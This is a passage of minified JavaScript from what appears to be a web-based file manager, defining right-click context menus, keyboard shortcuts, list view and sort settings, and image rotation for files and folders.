class="'+i.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:i,className:i.substr(1),callback:function(e){T(e)},items:{open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"external-link",accesskey:"o"},app_edit:{name:LNG.app_edit,className:"app_edit",icon:"code",accesskey:"a"},open_text:{name:LNG.edit+"<b>Ctrl+E</b>",className:"open_text",icon:"edit",accesskey:"e"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"<b>Ctrl+X</b>",className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename+"<b>F2</b>",className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove+"<b>Del</b>",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},unzip:{name:LNG.unzip,icon:"folder-open-alt",className:"unzip",accesskey:"u",items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_folder:{name:LNG.unzip_folder,className:"unzip_folder",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"}}},zip:{name:LNG.zip,className:"zip",icon:"external-link",accesskey:"z",items:{zip_zip:{name:"ZIP "+LNG.file,className:"zip_zip",icon:"external-link"},sep109:"--------",zip_tar:{name:"TAR "+LNG.file,className:"zip_tar",icon:"external-link",accesskey:"f"},zip_tgz:{name:"GZIP "+LNG.file,className:"zip_tgz",icon:"external-link",accesskey:"f"}}},setBackground:{name:LNG.set_background,className:"setBackground",icon:"picture",accesskey:"x"},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more_action",accesskey:"m",items:{clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},sep104:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},createLink:{name:LNG.createLink,className:"createLink",icon:"share-alt"}}},sep3:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}})},N=function(){$('<i class="'+a.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:a,className:a.substr(1),callback:function(e){T(e)},items:{copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"<b>Ctrl+X</b>",className:"cute",icon:"cut",accesskey:"k"},remove:{name:LNG.remove+"<b>Del</b>",className:"remove",icon:"trash",accesskey:"d"},sep1:"--------",copy_to:{name:LNG.copy_to,className:"copy_to",icon:"copy"},cute_to:{name:LNG.cute_to,className:"cute_to",icon:"cut"},sep2:"--------",clone:{name:LNG.clone+"<b>Ctrl+C</b>",className:"clone",icon:"external-link",accesskey:"n"},playmedia:{name:LNG.add_to_play,className:"playmedia",icon:"music",accesskey:"p"},zip:{name:LNG.zip,className:"zip",icon:"external-link",accesskey:"z",items:{zip_zip:{name:"ZIP "+LNG.file,className:"zip_zip",icon:"external-link"},sep109:"--------",zip_tar:{name:"TAR "+LNG.file,className:"zip_tar",icon:"external-link",accesskey:"f"},zip_tgz:{name:"GZIP "+LNG.file,className:"zip_tgz",icon:"external-link",accesskey:"f"}}},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep3:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},L=function(){$('<i class="menuGroupRoot"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuGroupRoot",callback:function(e){T(e)},items:{open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"external-link",accesskey:"o"},sep1:"--------",fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}}),$('<i class="menuGroupRootMore"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuGroupRootMore",callback:function(e){T(e)},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"}}})},C=function(){$('<i class="menuFavPath"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuFavPath",callback:function(e){T(e)},items:{open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"external-link",accesskey:"o"},sep0:"--------",fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"},fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"f"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$('<i class="menuFavPathMore"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuFavPathMore",className:"menuFavPathMore",callback:function(e){T(e)},items:{fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"}}})},z=function(e){switch(e){case"refresh":ui.f5(!0,!0);break;case"back":ui.path.history.back();break;case"next":ui.path.history.next();break;case"seticon":ui.setListType("icon");break;case"setlist":ui.setListType("list");break;case"setlist_split":ui.setListType("list_split");break;case"set_sort_name":ui.setListSort("name",0);break;case"set_sort_ext":ui.setListSort("ext",0);break;case"set_sort_size":ui.setListSort("size",0);break;case"set_sort_mtime":ui.setListSort("mtime",0);break;case"set_sort_up":ui.setListSort(0,"up");break;case"set_sort_down":ui.setListSort(0,"down");break;case"upload":core.upload();break;case"recycle_clear":ui.path.recycleClear();break;case"box-size-smallx":ui.setFileIconSize(40);break;case"box-size-small":ui.setFileIconSize(60);break;case"box-size-default":ui.setFileIconSize(80);break;case"box-size-big":ui.setFileIconSize(150);break;case"box-size-bigx":ui.setFileIconSize(220);break;case"past":ui.path.past();break;case"copy_see":ui.path.clipboard();break;case"newfolder":ui.path.newFolder();break;case"newfile":ui.path.newFile("txt");break;case"newfile_null":ui.path.newFile("");break;case"newfile_md":ui.path.newFile("md");break;case"newfile_html":ui.path.newFile("html");break;case"newfile_php":ui.path.newFile("php");break;case"newfile_js":ui.path.newFile("js");break;case"newfile_css":ui.path.newFile("css");break;case"newfile_oexe":ui.path.newFile("oexe");break;case"newfile_docx":ui.path.newFile("docx");break;case"newfile_xlsx":ui.path.newFile("xlsx");break;case"newfile_pptx":ui.path.newFile("pptx");break;case"info":ui.path.info();break;case"open":ui.path.open();break;case"app_install":ui.path.appList();break;case"app_create":ui.path.appEdit(!0);break;case"setting":core.setting();break;case"setting_theme":core.setting("theme");break;case"setting_wall":core.setting("wall");break;default:}},T=function(e){switch(e){case"open":ui.path.open();break;case"down":ui.path.download();break;case"share":ui.path.share();break;case"open_ie":ui.path.openWindow();break;case"open_text":ui.path.openEditor();break;case"app_edit":ui.path.appEdit();break;case"playmedia":ui.path.play();break;case"share_edit":ui.path.shareEdit();break;case"share_open_window":ui.path.shareOpenWindow();break;case"share_open_path":ui.path.shareOpenPath();break;case"fav":ui.path.fav();break;case"search":ui.path.search();break;case"copy":ui.path.copy();break;case"clone":ui.path.copyDrag(G.this_path,!0);break;case"cute":ui.path.cute();break;case"cute_to":ui.path.cuteTo();break;case"copy_to":ui.path.copyTo();break;case"remove":ui.path.remove();break;case"rname":ui.path.rname();break;case"zip_zip":ui.path.zip();break;case"zip_tar":ui.path.zip("tar");break;case"zip_tgz":ui.path.zip("tar.gz");break;case"unzip_folder":ui.path.unZip();break;case"unzip_this":ui.path.unZip("to_this");break;case"unzip_to":ui.path.unZip("unzip_to_folder");break;case"setBackground":ui.path.setBackground();break;case"createLinkHome":ui.path.createLink(!1);break;case"createLink":ui.path.createLink(!0);break;case"createProject":ui.path.createProject();break;case"openProject":ui.path.openProject();break;case"explorer":ui.path.explorer();break;case"explorerNew":ui.path.explorerNew();break;case"fav_page":core.setting("fav");break;case"fav_remove":ui.path.favRemove();break;case"info":ui.path.info();break;default:z(e)}},S=function(){$('<i class="menuTreeFavRoot"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuTreeFavRoot",callback:function(e){I(e)},items:{fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"r"},sep1:"--------",refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"e"}}}),$('<i class="menuTreeFav"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuTreeFav",callback:function(e){I(e)},items:{fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"},fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"f"},sep2:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},j=function(){$('<i class="'+n.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:n,callback:function(e){I(e)},items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfile:{name:LNG.newfile,className:"newfile",icon:"file-text-alt",accesskey:"j"},sep2:"--------",fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"}}})},P=function(){$('<i class="'+o.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:o,callback:function(e){I(e)},items:{download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep105:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep3:"--------",info:{name:LNG.info+'<b class="ml-20"></b>',className:"info",icon:"info",accesskey:"i"}}})},E=function(){$('<i class="'+o.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:o,callback:function(e){I(e)},items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",className:"more_action",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep106:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep3:"--------",info:{name:LNG.info+'<b class="ml-20">Alt+I</b>',className:"info",icon:"info",accesskey:"i"}}}) -},D=function(){$('<i class="'+r.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:r,callback:function(e){I(e)},items:{refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"e"}}})},F=function(){$('<i class="'+l.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:l,callback:function(e){I(e)},items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}})},O=function(){$('<i class="'+c.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:c,callback:function(e,i){var t=i.$trigger;t.hasClass("file")?T(e):I(e)},items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}})},A=function(){$('<i class="'+s.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:s,callback:function(e){I(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},edit:{name:LNG.edit,className:"edit",icon:"edit",accesskey:"e"},download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",className:"more_action",items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}},sep3:"--------",info:{name:LNG.info+'<b class="ml-20">Alt+I</b>',className:"info",icon:"info",accesskey:"i"}}})},I=function(e){switch(e){case"edit":ui.tree.openEditor();break;case"open":ui.tree.open();break;case"refresh":ui.tree.refresh();break;case"copy":ui.tree.copy();break;case"cute":ui.tree.cute();break;case"past":ui.tree.past();break;case"clone":ui.tree.clone();break;case"rname":ui.tree.rname();break;case"remove":ui.tree.remove();break;case"info":ui.tree.info();break;case"cute_to":ui.tree.cuteTo();break;case"copy_to":ui.tree.copyTo();break;case"download":ui.tree.download();break;case"open_ie":ui.tree.openWindow();break;case"search":ui.tree.search();break;case"share":ui.tree.share();break;case"search":ui.tree.search();break;case"newfolder":ui.tree.create("folder");break;case"newfile":ui.tree.create("txt");break;case"newfile_html":ui.tree.create("html");break;case"newfile_php":ui.tree.create("php");break;case"newfile_js":ui.tree.create("js");break;case"newfile_css":ui.tree.create("css");break;case"newfile_oexe":ui.tree.create("oexe");break;case"explorer":ui.tree.explorer();break;case"openProject":ui.tree.openProject();break;case"fav_page":core.setting("fav");break;case"fav":ui.tree.fav();break;case"createLinkHome":ui.tree.createLink(!1);break;case"fav_remove":ui.tree.favRemove();break;case"refresh_all":ui.tree.init();break;case"quit":break;default:}};return{initDesktop:u,initExplorer:p,initEditor:f,show:function(e,i,t){e&&(rightMenu.hidden(),$(e).contextMenu({x:i,y:t}))},menuShow:function(){var e="hidden",i="disabled",t=$(".context-menu-list").filter(":visible"),a=$(".context-menu-active");if(0!=t.length&&0!=a.length){if(t.find(".disable").addClass("disabled"),a.hasClass("menufile")){var n=ui.fileLight.type(ui.fileLight.fileListSelect());inArray(core.filetype.archive,n)?t.find(".unzip").removeClass(e):t.find(".unzip").addClass(e),inArray(core.filetype.image,n)?t.find(".setBackground").removeClass(e):t.find(".setBackground").addClass(e),"oexe"==n?t.find(".app_edit").removeClass(e):t.find(".app_edit").addClass(e),inArray(core.filetype.image,n)||inArray(core.filetype.music,n)||inArray(core.filetype.movie,n)||inArray(core.filetype.bindary,n)?t.find(".open_text").addClass(e):t.find(".open_text").removeClass(e)}if(a.hasClass("menufolder")||a.hasClass("menufile")||a.hasClass("menuTreeFolder")||a.hasClass("menuTreeFile")){var o=".cute,.rname,.remove,.zip",s=".open,.open_text,.down,.share,.copy,.cute,.rname,.remove,.open_ie,.zip,.unzip_this,.unzip_folder,.search,.more_action";a.hasClass("file_not_readable")?t.find(s).addClass(i):t.find(s).removeClass(i),a.hasClass("file_not_writeable")?t.find(o).addClass(i):t.find(o).removeClass(i)}if(a.hasClass("dialog_menu")){var r=a.attr("id"),l=$.dialog.list[r],c=e;l.has_frame()?(t.find(".open_window").removeClass(c),t.find(".refresh").removeClass(c),t.find(".qrcode").removeClass(c)):(t.find(".open_window").addClass(c),t.find(".refresh").addClass(c),t.find(".qrcode").addClass(c)),$("."+r).hasClass("dialog-can-resize")?t.find(".dialog_max").removeClass(c):t.find(".dialog_max").addClass(c)}if(a.hasClass("menuMore")){var d=0;ui.fileLight.fileListSelect().each(function(){var e=core.pathExt(ui.fileLight.name($(this)));(inArray(core.filetype.music,e)||inArray(core.filetype.movie,e))&&(d+=1)}),0==d?t.find(".playmedia").addClass(e):t.find(".playmedia").removeClass(e)}(a.hasClass("menuZipListFolder")||a.hasClass("menuZipListFile"))&&(core.pathCurrentWriteable()?t.find(".unzip_this").removeClass(i):t.find(".unzip_this").addClass(i)),a.hasClass("toolPathMore")&&ui.fileLight.menuResetMore()}},isDisplay:function(){return 0==$(".context-menu-list:visible").length?!1:!0},hidden:function(){$(".context-menu-list").filter(":visible").filter(":not(.menuNotAutoHidden)").trigger("contextmenu:hide")}}}),define("app/src/explorer/ui",["./fileContent"],function(require,exports){var fileContent=require("./fileContent"),f5=fileContent.f5,f5Callback=fileContent.f5Callback,MyPicasa=new Picasa,initListType=function(e){G.user_config.list_type=e,LocalData.set("list_type",e),$(".set_icon_size").hide(),$(".tools-right button").removeClass("active"),$("#set_"+e).addClass("active"),$("#list_type_list,.list_split_box").addClass("hidden"),$(".set-file-icon-size").hide(),$(Config.FileBoxSelector).removeClass("fileList_icon fileList_list fileList_list_split"),"list"==e?($(Config.FileBoxSelector).addClass("fileList_list"),$("#list_type_list").removeClass("hidden"),ui.fileListResize.bindHeaderResize()):"icon"==e?($(Config.FileBoxSelector).addClass("fileList_icon"),$(".set_icon_size").show(),$(".set-file-icon-size").show()):"list_split"==e&&($(Config.FileBoxSelector).addClass("fileList_list_split"),$(".list_split_box").removeClass("hidden")),$(".menu_seticon").removeClass("selected"),$(".set_set"+e).addClass("selected"),$(".fileContinerMore").css("top",0);var i=$(".frame-right-main .tools").outerHeight();"list"==e&&(i+=26),$(".frame-header").is(":visible")&&(i+=$(".frame-header").outerHeight()),$(".bodymain").css("top",i)},setListType=function(e){initListType(e),f5(!1,!1),void 0===G.sid&&$.get("index.php?setting/set&k=list_type&v="+e)},setListSort=function(e,i){0!=e?(G.user_config.list_sort_field=e,$(".menu_set_sort").removeClass("selected"),$(".set_sort_"+e).addClass("selected")):e=G.user_config.list_sort_field,0!=i?(G.user_config.list_sort_order=i,$(".menu_set_desc").removeClass("selected"),$(".set_sort_"+i).addClass("selected")):i=G.user_config.list_sort_order,LocalData.set("list_sort_field",e),LocalData.set("list_sort_order",i),f5(!1,!0),$.ajax({url:"index.php?setting/set&k=list_sort_field,list_sort_order&v="+e+","+i})},bindEventView=function(){$(".menuRecycleButton").bind("mouseenter",function(){$(this).addClass("recycle_hover")}).bind("mouseleave",function(){$(this).removeClass("recycle_hover")}).bind("click",function(){ui.path.list("{user_recycle}")}),$(".menuShareButton").bind("mouseenter",function(){$(this).addClass("share_hover")}).bind("mouseleave",function(){$(this).removeClass("share_hover")}).bind("click",function(){ui.path.list("{user_share}:"+G.user_id+"/")})},bindEventSort=function(){$("#main_title div").die("click").live("click",function(){$(this).hasClass("resize")||("up"==$(this).attr("id")?$(this).attr("id","down"):$(this).attr("id","up"),setListSort($(this).attr("field"),$(this).attr("id")))})},bindEventTools=function(){$(".tools a,.tools button").bind("click",function(){var e=$(this).attr("id");toolsAction(e)})},bindEventTheme=function(){$(".dropdown-menu-theme li").click(function(){var e=$(this).attr("theme");ui.setTheme(e),$.ajax({url:"index.php?setting/set&k=theme&v="+e,dataType:"json",success:function(e){if(!e.code){var i=LNG.config_save_error_file;core.authCheck("setting:set")||(i=LNG.config_save_error_auth),Tips.tips(i,!1)}}})})},bindEventMenu=function(){$(".dlg_goto_path").bind("click",function(){var e=G.json_data.info.admin_real_path;ui.path.list(e)}),$(".toolPathMore").die("click").live("click",function(){if($(this).hasClass("active"))return $(".menuToolPath").trigger("contextmenu:hide"),$(this).removeClass("active"),void 0;$(this).addClass("active"),$(".menuToolPath").removeClass("fadIn").addClass("menuShow");var e=$(this).offset();$(this).contextMenu({x:e.left-4,y:e.top+$(this).outerHeight()-1})}),$("body").bind("click",function(){$(".toolPathMore").removeClass("active"),$(".menuToolPath").trigger("contextmenu:hide")})},getRowfileNumber=function(){if("icon"!=G.user_config.list_type)return 1;var e=$(Config.FileBoxSelector).width(),i=$(Config.FileBoxClass).outerWidth()+$sizeInt($(Config.FileBoxClass).css("margin-right"));return parseInt(e/i)},getPagefileNumber=function(){var e=getRowfileNumber(),i=$(Config.BodyContent).outerHeight(),t=$(Config.FileBoxClass).outerHeight()+$sizeInt($(Config.FileBoxClass).css("margin-bottom"));return Math.ceil(i/t)*e},getColfileNumberDesktop=function(){var e=$(Config.FileBoxSelector).outerHeight()-48,i=$(Config.FileBoxClass).outerHeight()+10;return parseInt(e/i)},toolsAction=function(e){switch(e){case"recycle_clear":ui.path.recycleClear();break;case"newfile":ui.path.newFile();break;case"refresh":ui.f5();break;case"newfolder":ui.path.newFolder();break;case"upload":core.upload();break;case"selectAll":ui.fileSelect.selectPos("all");break;case"download":ui.path.download();break;case"set_icon":$("#set_icon").hasClass("active")||setListType("icon");break;case"set_list":$("#set_list").hasClass("active")||setListType("list");break;case"set_list_split":$("#set_list_split").hasClass("active")||setListType("list_split");break;default:}},bindHotKeySelectFile=function(){var e,i=0,t="",a=300;Mousetrap.bind(["1","2","3","4","5","6","7","8","9","0","`","~","!","@","#","$","%","^","&","*","(",")","-","_","=","+","[","{","]","}","|","/","?",".",">",",","<","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"],function(n){var o=String.fromCharCode(n.charCode);return 0==i?(i=timeFloat(),t=o,e=setTimeout(function(){ui.path.setSelectByChar(t),i=0},a),void 0):o==t.substr(-1)?(ui.path.setSelectByChar(t),i=0,void 0):(a>timeFloat()-i&&(i=timeFloat(),t+=o,clearTimeout(e),e=setTimeout(function(){ui.path.setSelectByChar(t),i=0},a)),void 0)})},bindHotKey=function(){bindHotKeySelectFile(),Mousetrap.bind(["f1","alt+left","backspace","alt+right","ctrl+backspace","command+backspace","ctrl+shift+r","f5","left","up","right","down","home","end","shift+left","shift+up","shift+right","shift+down","shift+home","shift+end","pageup","pagedown","ctrl+a","command+a","ctrl+shift+n","ctrl+shift+f","del","shift+del","f2","ctrl+enter","command+enter","shift+enter","space","enter","ctrl+u","command+u","ctrl+e","command+e","ctrl+c","command+c","ctrl+x","command+x","ctrl+v","command+v","ctrl+f","command+f","f3","ctrl+i","alt+i","alt+n","alt+m","alt+enter","ctrl+s","command+s","alt+f4"],function(e,i){if("none"!=$("#PicasaView").css("display"))return!0;if(ui.isEdit())return!0;if(rightMenu.isDisplay())return!0;if($(".dialog_path_remove").length>0)return!0;var t=["ctrl+c","command+c"];switch(inArray(t,i)||stopPP(e),i){case"f1":core.setting("help");break;case"alt+left":case"backspace":ui.path.history.back();break;case"alt+right":case"ctrl+backspace":case"command+backspace":ui.path.history.next();break;case"ctrl+shift+r":case"f5":ui.f5(!0,!0);break;case"left":case"up":case"right":case"down":case"home":case"end":case"shift+left":case"shift+up":case"shift+right":case"shift+down":case"shift+home":case"pageup":case"pagedown":case"shift+end":ui.fileSelect.selectPos(i);break;case"ctrl+a":case"command+a":ui.fileSelect.selectPos("all");break;case"ctrl+shift+n":ui.path.newFolder();break;case"ctrl+shift+f":ui.path.newFile();break;case"del":ui.path.remove();break;case"shift+del":ui.path.remove(!1,!0);break;case"f2":case"ctrl+enter":case"command+enter":ui.path.rname();break;case"shift+enter":ui.path.download();break;case"space":ui.path.open();break;case"enter":ui.path.open();break;case"ctrl+u":case"command+u":core.upload();break;case"ctrl+e":case"command+e":ui.path.openEditor();break;case"ctrl+c":case"command+c":ui.path.copy();break;case"ctrl+x":case"command+x":ui.path.cute();break;case"ctrl+v":case"command+v":ui.path.past();break;case"f3":case"ctrl+f":case"command+f":core.search($(".header-right input").val(),G.this_path);break;case"alt+enter":case"ctrl+i":case"alt+i":ui.path.info();break;case"alt+n":ui.path.newFile();break;case"alt+m":ui.path.newFolder();break;case"ctrl+s":case"command+s":ShareData.frameTop("OpenopenEditor",function(e){e.Editor.save()});break;default:}})},imageRotate=function(e){var i=$("#PV_Items li.current img").attr("src"),t="image&path=",a=i.substr(i.search(t)+t.length),n=$('[src="'+i+'"],[data-original="'+i+'"]'),o="./index.php?explorer/imageRotate&rotate="+e+"&path="+a;$.ajax({url:o,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){if(!e)return Tips.close(LNG.php_env_error_gd,!1),void 0;if(Tips.close(e),e.code){var t=function(e){var i="&picture=",t=e.search(i);return-1===t?e+i+UUID():e.substr(0,t)+i+UUID()},a=t(i),o=t($("#PV_Picture").attr("src"));n.attr("src",a),n.attr("data-original",a),ui.picasa.resetImage(o)}}})},resetDesktopIcon=function(){if("desktop"==Config.pageApp){var e=20,i=20,t=parseInt($(".file").css("height")),a=t-30,n=10,o=15,s=$(document).height()-50,r=Math.floor((s-e)/(t+n)),l=0,c=0,d=0,p=0,u=(s-e-r*(t+n)-n)/r;u>0&&(n+=u),$(".fileContiner .file").css("position","absolute"),$(".fileContiner .file").each(function(s){l=s%r,c=Math.floor(s/r),d=i+(a+o)*c,p=e+(t+n)*l,$(this).css({left:d,top:p})})}};return{f5:f5,f5Callback:f5Callback,fileContent:fileContent,picasa:fileContent.myPicasa,setListSort:setListSort,setListType:setListType,getRowfileNumber:getRowfileNumber,getPagefileNumber:getPagefileNumber,getColfileNumberDesktop:getColfileNumberDesktop,resetDesktopIcon:resetDesktopIcon,imageRotate:imageRotate,setTheme:function(e){G.user_config.theme=e,core.setSkin(e),ShareData.frameTop("OpenopenEditor",function(i){i.Editor.setTheme(e)}),ShareData.frameTop("Opensetting_mode",function(i){i.Setting.setThemeSelf(e)}),ShareData.frameTop("",function(i){i.ui.setTheme(e)}),$(".dropdown-menu-theme .list").removeClass("this"),$('.dropdown-menu-theme .list[theme="'+e+'"]').addClass("this")},setWall:function(e,i){$(".background").attr("src",e).one("load",function(){$(".desktop").css("background-image","url("+e+")"),"function"==typeof i&&i()})},setFileIconSize:function(e){ui.fileListResize.setFileIconSize(e,!0),"desktop"==Config.pageApp&&ui.f5()},isEdit:function(){var e=$(document.activeElement).get(0);if(e)return e=e.tagName,"INPUT"==e||"TEXTAREA"==e?!0:$(".file.file_icon_edit").length>0?!0:!1},init:function(){if(G.sid){LocalData.get("theme")&&(G.user_config.theme=LocalData.get("theme")),LocalData.get("list_type")&&(G.user_config.list_type=LocalData.get("list_type")),LocalData.get("list_sort_field")&&(G.user_config.list_sort_field=LocalData.get("list_sort_field")),LocalData.get("list_sort_order")&&(G.user_config.list_sort_order=LocalData.get("list_sort_order")),LocalData.set("theme",G.user_config.theme),LocalData.set("list_type",G.user_config.list_type),LocalData.set("list_sort_field",G.user_config.list_sort_field),LocalData.set("list_sort_order",G.user_config.list_sort_order);var url_path=window.location.href.split("#");2==url_path.length&&(G.this_path=urlDecode(url_path[1]))}if(ui.setTheme(G.user_config.theme),""==G.this_path){var 